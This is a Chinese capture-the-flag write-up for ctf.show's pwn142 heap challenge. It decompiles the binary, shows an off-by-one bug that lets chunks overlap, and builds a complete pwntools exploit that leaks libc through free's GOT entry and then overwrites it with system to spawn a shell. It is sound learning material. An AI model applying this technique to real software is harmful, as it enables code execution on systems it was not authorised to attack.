ctf.show pwn入门 堆利用-前置基础 pwn142

pwn142(off-by-one和堆块重叠)

pwn142

1.准备
2.ida分析
main函数
复制代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  while ( 1 )
  {
    menu();
    read(0, buf, 4uLL);
    switch ( atoi(buf) )
    {
      case 1:
        create_heap();
        break;
      case 2:
        edit_heap();
        break;
      case 3:
        show_heap();
        break;
      case 4:
        delete_heap();
        break;
      case 5:
        exit(0);
      default:
        puts("Invalid Choice");
        break;
    }
  }
}

就一个堆题正常的菜单,有增删改查功能,依次查看

1-create_heap(add)函数
复制代码
unsigned __int64 create_heap()
{
  __int64 v0; // rbx
  int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*((_QWORD *)&heaparray + i) )
    {
      *((_QWORD *)&heaparray + i) = malloc(0x10uLL);
      if ( !*((_QWORD *)&heaparray + i) )
      {
        puts("Allocate Error");
        exit(1);
      }
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      v0 = *((_QWORD *)&heaparray + i);
      *(_QWORD *)(v0 + 8) = malloc(size);
      if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) )
      {
        puts("Allocate Error");
        exit(2);
      }
      **((_QWORD **)&heaparray + i) = size;
      printf("Content of heap:");
      read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

这里是添加堆块,在创建时先会创建一个0x10大小的结构块,然后才是我们自定义大小的内容块

4-delete_heap(delete)函数
复制代码
unsigned __int64 delete_heap()
{
  int n0xA; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  n0xA = atoi(buf);
  if ( (unsigned int)n0xA >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *((_QWORD *)&heaparray + n0xA) )
  {
    free(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL));
    free(*((void **)&heaparray + n0xA));
    *((_QWORD *)&heaparray + n0xA) = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

这里虽然没把内容块的指针设置为0,但输出函数调用的是结构块的指针,所以不存UAF漏洞

3-show_heap(show)函数
复制代码
unsigned __int64 show_heap()
{
  int n0xA; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  n0xA = atoi(buf);
  if ( (unsigned int)n0xA >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *((_QWORD *)&heaparray + n0xA) )
  {
    printf(
      "Size : %ld\nContent : %s\n",
      **((_QWORD **)&heaparray + n0xA),
      *(const char **)(*((_QWORD *)&heaparray + n0xA) + 8LL));
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

正常的输出

2-edit_heap(edit)函数
复制代码
unsigned __int64 edit_heap()
{
  int n0xA; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  n0xA = atoi(buf);
  if ( (unsigned int)n0xA >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *((_QWORD *)&heaparray + n0xA) )
  {
    printf("Content of heap : ");
    read_input(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL), **((_QWORD **)&heaparray + n0xA) + 1LL);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

这里修改堆块数据

关键点是这里

复制代码
read_input(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL), **((_QWORD **)&heaparray + n0xA) + 1LL);

修改写入的字节数比分配的内存多1字节,造成off-by-one

3.EXP
思路:

这题有off-by-one,没有直接的连接点,再结合提示堆块重叠

所以我们可以通过合理的设置,使得一个块的结构块中内容块指针可以写为free_got地址,当我们输出那个块的时候,会输出free函数地址,获得libc基址,进而得到system地址,最后把free地址覆盖为system地址,将free函数的调用重定向到system函数,删除一个内容为'/bin/sh'的堆块,获得连接

先创建三个堆块,前两个用于构造堆块重叠,这里大小要设置为0x18,第三个堆块内容设置为'/bin/sh',留着最后释放

复制代码
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/pwn142')
elf=ELF('/home/motaly/pwn142')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')

def add(size,content):
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Size of Heap :", str(size))
    io.sendlineafter("Content of heap:", content)

def delete(index):
    io.sendlineafter("Your choice :", "4")
    io.sendlineafter("Index :", str(index))

def show(index):
    io.sendlineafter("Your choice :", "3")
    io.sendlineafter("Index :", str(index))


def edit(index, content):
    io.sendlineafter('Your choice :','2')
    io.sendlineafter('Index :',str(index))
    io.sendafter('Content of heap :',content)

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

大小要设置为0x18的原因:

主要是因为我们的溢出是从0块内容块开始填充到1块的结构块覆盖它的size位

还有一点是下面我们释放重新创建时,因为结构块和内容块大小一致的原因,使得原先1块的内容块,会变成新块的结构块,我们可以进行修改

我们设置为0x18大小,系统会给大概0x20的块,设置为0x10大小,系统也会给大概0x20的块,但如果是0x10大小,只溢出一字节是是改不到目标位置的,是0x18大小,溢出一字节当好是目标位置

我们进行修改

复制代码
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

p64(0x41)是因为结构块也是0x20大小,内容块也是0x20大小,所以总共是0x40大小

修改完进一步查看

0x10大小时

复制代码
add(0x10, b"aaa")
add(0x10, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

发现这里是写不到我们的目标位置的

此时我们已经成功通过修改1块结构块的大小,构造了1块结构块与内容块的堆块重叠

接着我们释放1块

复制代码
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

delete(1)

系统会释放两个块,一个是0x40(我们修改1块结构块的大小,形成的一个块)和一个0x20(原先1块的内容块,虽然我们改了1块结构块大小,使其扩大到结构块加内容块的大小,但不影响系统识别1块的内容块)

我们这里在创建一个0x30(0x40)大小的堆块,系统就会把0x20块(原先1块的内容块)申请出来当作新块的结构块

0x40块申请出来当作内容块

创建时就可以写入堆块内容,正好新块的结构块,被它的内容块覆盖,所以我们通过填充,修改新块的结构块指针为free_got地址

复制代码
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

delete(1)

add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))

p64(0x18)这个值没什么要求,主要是改后面内容块指针为free_got地址

我们输出1块,因为内容块指针是free_got地址,所以会输出free函数地址,获得libc基址,进而得到system地址

复制代码
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

delete(1)

add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))

show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]

最后修改1块内容为system地址,因为内容块指针是free_got地址,所以修改的是free函数地址内容,也就达到了把free地址覆盖为system地址,将free函数的调用重定向到system函数的目的

复制代码
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

delete(1)

add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))

show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]

edit(1, p64(system_addr))

释放原先准备好的2块,触发连接

复制代码
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

delete(1)

add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))

show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]

edit(1, p64(system_addr))

delete(2)
脚本
复制代码
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/pwn142')
elf=ELF('/home/motaly/pwn142')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')

def add(size,content):
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Size of Heap :", str(size))
    io.sendlineafter("Content of heap:", content)

def delete(index):
    io.sendlineafter("Your choice :", "4")
    io.sendlineafter("Index :", str(index))

def show(index):
    io.sendlineafter("Your choice :", "3")
    io.sendlineafter("Index :", str(index))


def edit(index, content):
    io.sendlineafter('Your choice :','2')
    io.sendlineafter('Index :',str(index))
    io.sendafter('Content of heap :',content)

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

delete(1)

add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))

show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]

edit(1, p64(system_addr))

delete(2)
io.interactive()
相关推荐
kali-Myon2 天前
栈迁移与onegadget利用[GHCTF 2025]ret2libc2
c语言·安全·pwn·ctf·栈溢出·栈迁移·onegadget
TAMOXL2 天前
NSSCTF [NISACTF 2022]ezheap
pwn·
TAMOXL10 天前
NSSCTF [GFCTF 2021]where_is_shell
pwn
whoarethenext22 天前
数据结构堆的c/c++的实现
c语言·数据结构·c++·
小徐Chao努力1 个月前
【堆】最大堆、最小堆以及GO语言的实现
数据结构·算法·golang·
sml259(劳改版)2 个月前
数据结构--堆
数据结构·算法·
代码AC不AC2 个月前
【数据结构】堆
c语言·数据结构·学习··深度剖析
ゞ 正在缓冲99%…2 个月前
leetcode295.数据流的中位数
java·数据结构·算法·leetcode·
hnjzsyjyj2 个月前
AcWing 839:模拟堆 ← multiset + unordered_map